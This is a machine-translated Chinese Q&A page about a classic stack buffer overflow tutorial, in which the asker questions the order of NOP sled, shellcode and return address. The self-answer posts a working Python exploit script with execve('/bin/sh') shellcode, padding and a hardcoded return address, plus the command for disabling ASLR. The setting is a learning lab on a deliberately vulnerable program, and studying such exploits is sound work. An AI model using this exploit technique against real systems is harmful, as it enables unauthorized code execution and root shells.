2017-08-12 56 views
0

這種結構所以,我想下面的教程:https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/爲什麼的利用

我首先要弄清楚攻擊代碼的順序掙扎,至少以某種方式。

我沒有理由首先放置NOPS,然後只是Shell代碼,我找不到原因是不先將shellcode放入buf中,然後再放入垃圾+ ret地址。 我認爲這是保存內存地址的計算,但這是真的嗎? 是不是更簡單的工作與你已經得到的堆棧(就像不去超越返回地址)? 爲什麼不使惡意緩衝區成爲: Shellcode + Junk + ret-address(到shellcode開頭)?是因爲有些複雜的內存地址計算...?希望我明確自己。

預先感謝您。

編輯:

的相同例子(等同於我跑的代碼):

https://github.com/jivoi/junk/blob/master/pwnerrank/binary-exploitation/stack-based-buffer-overflow-code-execution.c

+0

是不是將ASLR的回收移除給randomize_va_space?我已經這樣做了,是否還有更多可能的功能被禁用?如果是這樣,那麼它沒有給出根shell,對嗎? 我認爲它是禁用與它給gcc和回聲的選項,並沒有任何特殊的做到這一點.. 無論如何,你怎麼看我所問的shellcode結構? :D謝謝! – Jonathan

+0

我的不好,我太快掠過了!你在Ubuntu 12.04 x86上這樣做,而不是在現代x86_64發行版上,對吧? –

+0

正確!我在12.04 x86 ubuntu上運行它:) – Jonathan

回答

0

我找到了解決我的問題。

因此,首先,只有在棧的範圍內纔可以利用它(這意味着我只使用位於棧中的緩衝區和返回地址之間的內存,以便執行代碼) ,它確實需要一些額外的計算,但它感覺它有點「更清潔」,可能沒有區別,但它仍然有效。

與非shell的問題只是我沒有注意到,我沒有實際sudo'd「回聲0>/proc/sys /內核/ randomize_va_space」,它沒有運行。

我添加了僅使用堆棧的漏洞利用代碼。 我必須找到ESP,首先放100個NOP,然後是代碼,然後是一些垃圾(A),最後是返回地址。

我知道使用以下尺寸: 我知道我是否垃圾'的東西到返回地址(包括),這將是268 + 4(272)字節。 另外,我的shellcode長度爲25個字節,NOP長度爲100個字節。我還必須記住,返回地址是4字節長,所以總共:

我需要填寫:首先100個字節的NOP,然後,25個字節的shell代碼,然後我剩下還沒有被計算的垃圾塊,最後4個字節的返回地址。

我可以得出結論:垃圾塊需要是: 272-(100 + 25 + 4)= 143字節長。 所以,我做的是複製「A」143次。

地址0xbffff164源自這樣的事實,即緩衝區的起始位置是0xbffff210-272,並且由於前100個字節用於NOP,因此我們將添加100,最後以0xbffff164結束。

這是我留下的代碼,它利用相同的漏洞,只是沒有超出返回地址(不知道它是否重要,雖然它需要更多的計算):

#exp.py 
#!/usr/bin/env python 
import struct 
from subprocess import call 

#Stack address where shellcode is copied. 
ret_addr = 0xbffff210 # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be) 

#Spawn a shell 
#execve(/bin/sh) 
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 

#endianess convertion 
def conv(num): 
return struct.pack("<I",num) 

buf = "\x90" * 100 
buf += scode 
buf += "A"*143 
buf += conv(0xbffff164) 

print "Calling vulnerable program" 
call(["./vuln", buf]) 
相關問題